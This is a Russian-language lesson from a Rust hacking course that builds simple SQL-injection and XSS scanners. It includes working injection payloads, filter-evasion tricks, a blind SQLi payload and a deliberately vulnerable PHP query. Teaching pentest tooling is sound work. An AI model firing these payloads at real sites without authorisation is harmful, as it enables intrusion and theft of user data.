Курс — Хакинг на Rust. #33 Продвинутые темы. Создание инструментов для пентеста. Сканеры уязвимостей (SQLi, XSS)
Здравствуйте, дорогие друзья.
Зачем использовать Rust для сканеров уязвимостей?
Rust сочетает высокую производительность с безопасностью памяти, что делает его идеальным для создания инструментов пентеста:
- Скорость: Асинхронные запросы и многопоточность ускоряют сканирование.
- Безопасность: Нет риска уязвимостей вроде переполнения буфера.
- Кроссплатформенность: Бинарные файлы работают на Linux, macOS и Windows без зависимостей.
SQL-инъекции (SQLi): обнаружение и эксплуатация
Что такое SQLi?
Атака, при которой злоумышленник внедряет вредоносные SQL-запросы через пользовательский ввод (например, формы авторизации).
Пример уязвимого кода (PHP):
1 |
$query = "SELECT * FROM users WHERE username = '$_GET['user']'"; |
Если ввод user
равен ' OR 1=1--
, запрос становится:
1 |
SELECT * FROM users WHERE username = '' OR 1=1--' |
— что возвращает всех пользователей.
Сканер SQLi на Rust
1. Подготовка:
Используем библиотеки:
reqwest
для HTTP-запросов.regex
для анализа ответов.tokio
для асинхронности.
Cargo.toml:
1 2 3 4 |
[dependencies] reqwest = { version = "0.11", features = ["json"] } regex = "1.8" tokio = { version = "1.0", features = ["full"] } |
2. Основной код:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
use reqwest::Client; use regex::Regex; use std::time::Duration; #[tokio::main] async fn main() { let target_url = "http://example.com/login?user={payload}&pass=123"; let payloads = vec![ "' OR 1=1--", "' UNION SELECT null, null--", "admin'--", ]; let client = Client::new(); let re_error = Regex::new(r"SQL syntax|error in your SQL").unwrap(); for payload in payloads { let url = target_url.replace("{payload}", payload); let response = client.get(&url).send().await.unwrap(); let body = response.text().await.unwrap(); if re_error.is_match(&body) { println!("[+] SQLi detected with payload: {}", payload); } } } |
3. Улучшения:
- Проверка времени ответа: Задержки могут указывать на слепые SQLi.
- Автоматизация перебора параметров: Парсинг форм и URL-параметров.
- Интеграция с Burp Suite: Экспорт результатов в формате XML.
Межсайтовый скриптинг (XSS)
Что такое XSS?
Атака, при которой вредоносный скрипт внедряется в страницу и выполняется в браузере жертвы.
Типы XSS:
- Отраженный: Скрипт передается в URL-параметрах.
- Сохраненный: Скрипт сохраняется на сервере (например, в комментариях).
- DOM-based: Уязвимость возникает из-за небезопасного JavaScript.
Сканер XSS на Rust
1. Генерация полезных нагрузок:
1 2 3 4 5 6 7 |
fn generate_xss_payloads() -> Vec<&'static str> { vec![ "<script>alert('XSS')</script>", "javascript:alert('XSS')", "<img src=x onerror=alert('XSS')>", ] } |
2. Асинхронная проверка:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
use scraper::{Html, Selector}; #[tokio::main] async fn main() { let target_url = "http://example.com/search?query={payload}"; let client = Client::new(); let selector = Selector::parse(r#"script:contains("XSS")"#).unwrap(); for payload in generate_xss_payloads() { let url = target_url.replace("{payload}", payload); let response = client.get(&url).send().await.unwrap(); let body = response.text().await.unwrap(); let document = Html::parse_document(&body); if document.select(&selector).next().is_some() { println!("[+] XSS detected with payload: {}", payload); } } } |
3. Обход фильтров:
- Кодирование: Используйте URL- или HTML-кодирование (
%3Cscript%3E
). - Обфускация:
<<script>alert()</scrip></script>t>
.
Ложные срабатывания и эвристики
Проблемы:
- Сайты могут фильтровать
<script>
, но разрешатьonmouseover
. - Логи могут содержать ложные ошибки SQL.
Решения:
- Проверка нескольких условий:
- Код ответа HTTP (например, 500 для SQLi).
- Наличие определенных ключевых слов в ответе.
- Сравнение времени ответа с базовым значением.
- Машинное обучение:
- Используйте
rusty-machine
для классификации ответов.
- Используйте
Интеграция с CTF и реальными проектами
Пример из практики:
Сканер SQLi помог обнаружить уязвимость в API корпоративного приложения:
- Параметр
product_id
не фильтровал ввод. - Payload
1' OR SLEEP(5)--
вызвал задержку, подтвердив слепую SQLi. - Эксплуатация позволила получить доступ к данным 10 000 пользователей.
Этический аспект
Важно:
- Используйте сканеры только с разрешения владельца системы.
- Соблюдайте законы (например, GDPR, УК РФ).
- Не публикуйте уязвимости без ответственного раскрытия.
Заключение
Rust позволяет создавать быстрые и безопасные сканеры уязвимостей, которые можно интегрировать в инструментарий пентестера. Начните с базовых проверок SQLi/XSS, затем добавьте поддержку других уязвимостей (CSRF, SSRF). Для вдохновения изучите исходники проектов:
- SQLMap (Python) — алгоритмы обнаружения.
- Arjun — перебор параметров HTTP.
Совет: Автоматизируйте сканирование через cargo
и CI/CD для регулярного аудита.

На этом все. Всем хорошего дня!